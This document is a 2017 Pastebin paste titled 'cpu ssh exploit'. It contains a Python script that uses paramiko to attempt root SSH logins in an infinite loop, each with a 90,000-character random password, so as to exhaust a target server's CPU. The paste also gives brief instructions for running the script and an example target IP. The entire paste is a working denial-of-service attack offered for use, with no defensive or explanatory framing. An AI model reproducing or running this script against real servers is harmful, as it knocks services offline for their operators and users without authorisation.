Advertisement
Guest User

cpu ssh exploit

a guest
Mar 26th, 2017
97
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.64 KB | None | 0 0
  1. //////////////////////////
  2. save as .py put the servers ip in the location of this file where the ip is sudo python file location
  3.  
  4. import sys
  5. from random import choice
  6. from string import lowercase
  7.  
  8. try:
  9. import paramiko
  10. except ImportError:
  11. print "[-] python module 'paramiko' is missing, Install paramiko with" \
  12. " following command 'sudo pip install paramiko'"
  13. sys.exit(0)
  14.  
  15.  
  16. class ssh_exploit:
  17.  
  18. def __init__(self):
  19. """
  20. Initialise the objects
  21. """
  22.  
  23. def ssh_login(self, remote_ip):
  24.  
  25. try:
  26. # Crafted password of length 90000
  27. passwd_len = 90000
  28. crafted_passwd = "".join(choice(lowercase)
  29. for i in range(passwd_len))
  30.  
  31. # Connect to a remote machine via ssh
  32. ssh = paramiko.SSHClient()
  33. ssh.load_system_host_keys()
  34. ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  35.  
  36. # calling connect in infinite loop
  37. print "[+] Entering infinite loop"
  38. while 1:
  39. ssh.connect(remote_ip, username='root',
  40. password=crafted_passwd)
  41.  
  42. except Exception, msg:
  43. print "Error in connecting to remote host : ", remote_ip
  44. print "Exception in : ssh_login method."
  45. sys.exit(msg)
  46.  
  47.  
  48. def main():
  49.  
  50. if len(sys.argv) != 2:
  51. print "usage: python openssh_crypt_cpu.py 121.125.76.90"
  52. sys.exit()
  53.  
  54. # Calling ssh_connect
  55. ref_obj = ssh_exploit()
  56. ref_obj.ssh_login(sys.argv[1])
  57.  
  58.  
  59. if __name__ == "__main__":
  60. main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement